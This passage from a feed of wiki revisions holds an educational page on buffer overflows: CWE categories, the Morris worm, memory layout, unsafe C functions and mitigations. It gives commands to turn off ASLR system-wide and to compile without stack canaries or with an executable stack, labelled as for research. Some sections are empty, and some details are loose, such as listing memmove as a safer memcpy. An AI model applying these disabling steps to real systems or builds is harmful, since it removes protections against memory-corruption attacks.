&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16950</id>
		<title>Buffer Overflows</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Buffer_Overflows&amp;diff=16950"/>
		<updated>2024-12-11T11:12:49Z</updated>

		<summary type="html">&lt;p&gt;AKofranek: /* C/C++: Vulnerable Functions */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction ==&lt;br /&gt;
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.&lt;br /&gt;
&lt;br /&gt;
== Definitions ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer ===&lt;br /&gt;
&lt;br /&gt;
A buffer is defined as a &#039;&#039;&#039;limited&#039;&#039;&#039;, contiguously allocated set of memory. The most common buffer in C is an array. &amp;lt;ref name=”RE1”&amp;gt;C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Common Weakness Enumeration (CWE) ==&lt;br /&gt;
&lt;br /&gt;
The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: &amp;lt;ref name=”MIT23a”&amp;gt; MITRE, &amp;quot;CVE Search Results for &#039;buffer overflow&#039;,&amp;quot; [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. &amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer&lt;br /&gt;
&lt;br /&gt;
There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here: &lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23b&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&amp;lt;ref name=&amp;quot;MIT23c&amp;quot;&amp;gt;MITRE, &amp;quot;CWE-788: Access of Memory Location After End of Buffer,&amp;quot; [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* CWE-788: Access of Memory Location After End of Buffer&lt;br /&gt;
* CWE-787: Out-of-bounds Write&lt;br /&gt;
* CWE-786: Access of Memory Location Before Start of Buffer&lt;br /&gt;
* CWE-125: Out-of-bounds Read&lt;br /&gt;
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)&lt;br /&gt;
* CWE-121: Stack-based Buffer Overflow&lt;br /&gt;
* CWE-122: Heap-based Buffer Overflow&lt;br /&gt;
* CWE-126: Buffer Over-read&lt;br /&gt;
&lt;br /&gt;
== History ==&lt;br /&gt;
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one&#039;s own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is &amp;quot;jailbreaking&amp;quot; for Apple devices and &amp;quot;rooting&amp;quot; for Android devices. On Nintendo&#039;s game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.&lt;br /&gt;
&lt;br /&gt;
While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit&#039;s mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That&#039;s why, when dealing with cybersecurity of any sort, there is no way past them.&lt;br /&gt;
&lt;br /&gt;
== Technical Background and Context ==&lt;br /&gt;
&lt;br /&gt;
=== Memory Layout of a Process ===&lt;br /&gt;
&lt;br /&gt;
Informally, a process is a &#039;&#039;&#039;program in execution&#039;&#039;&#039;. The status of the current activity of a process is represented by the value of the &#039;&#039;&#039;program counter&#039;&#039;&#039; and the content of the processor’s registers. Different parts of the program are stored in different memory segments, as shown in the figure below. &lt;br /&gt;
&lt;br /&gt;
[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Stack section&#039;&#039;&#039; - temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)&lt;br /&gt;
* &#039;&#039;&#039;Heap section&#039;&#039;&#039; - memory that is dynamically allocated during program run time&lt;br /&gt;
* &#039;&#039;&#039;Data section&#039;&#039;&#039; - global variables (initialized and uninitialized)&lt;br /&gt;
* &#039;&#039;&#039;Code/Text section&#039;&#039;&#039; - the executable, machine-readable bytecode&lt;br /&gt;
&lt;br /&gt;
=== Readable, Writeable, Executable Memory ===&lt;br /&gt;
&lt;br /&gt;
Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a &#039;&#039;&#039;Segmentation Fault&#039;&#039;&#039;. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;One1996&amp;quot;&amp;gt;A. One, &amp;quot;Smashing the Stack for Fun and Profit,&amp;quot; *Phrack*, vol. 7, no. 49, Nov. 1996.&amp;lt;/ref&amp;gt;&lt;br /&gt;
All other sections have to be writeable in order for the process to work properly. &amp;lt;ref name=”RE1”/&amp;gt; Whether a section is &#039;&#039;&#039;executable&#039;&#039;&#039;, will largely depend on the applied settings during compilation of the program and the platform on which it is executed.&lt;br /&gt;
&lt;br /&gt;
=== The Stack and Important Control Structures ===&lt;br /&gt;
&lt;br /&gt;
The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a function returns control to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. &amp;lt;ref name=”One1996”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Causes ==&lt;br /&gt;
&lt;br /&gt;
=== C/C++: Vulnerable Functions ===&lt;br /&gt;
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Howard2009&amp;quot;&amp;gt;M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.&amp;lt;/ref&amp;gt;&lt;br /&gt;
When writing C code the programmer is responsible for &#039;&#039;&#039;data integrity&#039;&#039;&#039;. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful. &lt;br /&gt;
&amp;lt;ref name=&amp;quot;Erickson2008&amp;quot;&amp;gt;J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.&amp;lt;/ref&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Some &#039;&#039;&#039;vulnerable functions&#039;&#039;&#039; from the C/C++ standard are listed here, each with their respective, saver counterpart: &lt;br /&gt;
{|class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Vulnerable || Safer&lt;br /&gt;
|-&lt;br /&gt;
| strcpy() || strncpy()&lt;br /&gt;
|-&lt;br /&gt;
| gets() || fgets()&lt;br /&gt;
|-&lt;br /&gt;
| strcat() || strncat()&lt;br /&gt;
|-&lt;br /&gt;
| memcpy() || memmove()&lt;br /&gt;
|-&lt;br /&gt;
| memset() || -&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== IoT: Constrained Devices (TODO) ===&lt;br /&gt;
&lt;br /&gt;
No Mitigaton Techniques implemented&lt;br /&gt;
&lt;br /&gt;
== Dangers ==&lt;br /&gt;
&lt;br /&gt;
* Data Corruption&lt;br /&gt;
* Program Crashes&lt;br /&gt;
* Exploitation: Control Flow Alteration &lt;br /&gt;
* Exploitation (via Shellcode Injection): Arbitrary Code Execution&lt;br /&gt;
&lt;br /&gt;
== Types of Buffer Overflow Vulnerabilities ==&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Read ===&lt;br /&gt;
&lt;br /&gt;
=== Buffer Over-Write ===&lt;br /&gt;
&lt;br /&gt;
===  Integer Overflow ===&lt;br /&gt;
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.&lt;br /&gt;
 &lt;br /&gt;
 unsigned char a = 255;&lt;br /&gt;
 unsigned char b = 2;&lt;br /&gt;
 unsigned char Result = a + b;&lt;br /&gt;
&lt;br /&gt;
The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable &amp;quot;a,&amp;quot; the value 255 is assigned, and for the variable &amp;quot;b,&amp;quot; the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.&lt;br /&gt;
&lt;br /&gt;
   11111111 (a)&lt;br /&gt;
 + 00000010 (b)&lt;br /&gt;
 ----------&lt;br /&gt;
  100000001 (Result)&lt;br /&gt;
&lt;br /&gt;
The front one, the ninth bit, is no longer contained in the 8 bits of the data type &#039;&#039;unsigned char&#039;&#039;. If only the last 8 bits were considered, the result would be 1 and not 257.&lt;br /&gt;
&lt;br /&gt;
=== Stack-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Heap-based Buffer Overflow ===&lt;br /&gt;
&lt;br /&gt;
=== Use-After-Free Vulnerability ===&lt;br /&gt;
The Use-After-Free bug is a vulnerability where memory should not be used in this way while the program is running. If a program clears memory, but the pointer to that memory is not yet cleared, an attacker can use this bug to gain access and control.&lt;br /&gt;
&lt;br /&gt;
== Mitigation Techniques and How to Disable Them ==&lt;br /&gt;
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.&lt;br /&gt;
&lt;br /&gt;
=== Adress Space Layout Randomisation (ASLR) ===&lt;br /&gt;
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers.  &amp;lt;ref name=”RE1”/&amp;gt; Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;ASLR can be temporarily disabled&#039;&#039;&#039; at the system level (Linux):&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Re-enable after testing:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Non-executable Stack (nx-stack) ===&lt;br /&gt;
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable nx-stack&#039;&#039;&#039; on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -z execstack -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Data Execution Prevention (DEP) ===&lt;br /&gt;
&lt;br /&gt;
Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.&lt;br /&gt;
&lt;br /&gt;
=== Stack Canaries ===&lt;br /&gt;
&lt;br /&gt;
Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. &amp;lt;ref name=”RE1”/&amp;gt;&lt;br /&gt;
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.&lt;br /&gt;
&lt;br /&gt;
To &#039;&#039;&#039;disable stack canaries&#039;&#039;&#039; when compiling a program, use the -fno-stack-protector option with gcc:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
gcc -fno-stack-protector -o vulnerable_program source.c&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Conclusion == &lt;br /&gt;
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.&lt;br /&gt;
&lt;br /&gt;
Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;references /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]&lt;br /&gt;
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]&lt;br /&gt;
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]&lt;br /&gt;
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]&lt;br /&gt;
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]&lt;br /&gt;
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]&lt;br /&gt;
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]&lt;br /&gt;
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]&lt;br /&gt;
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>AKofranek</name></author>
	</entry>
</feed>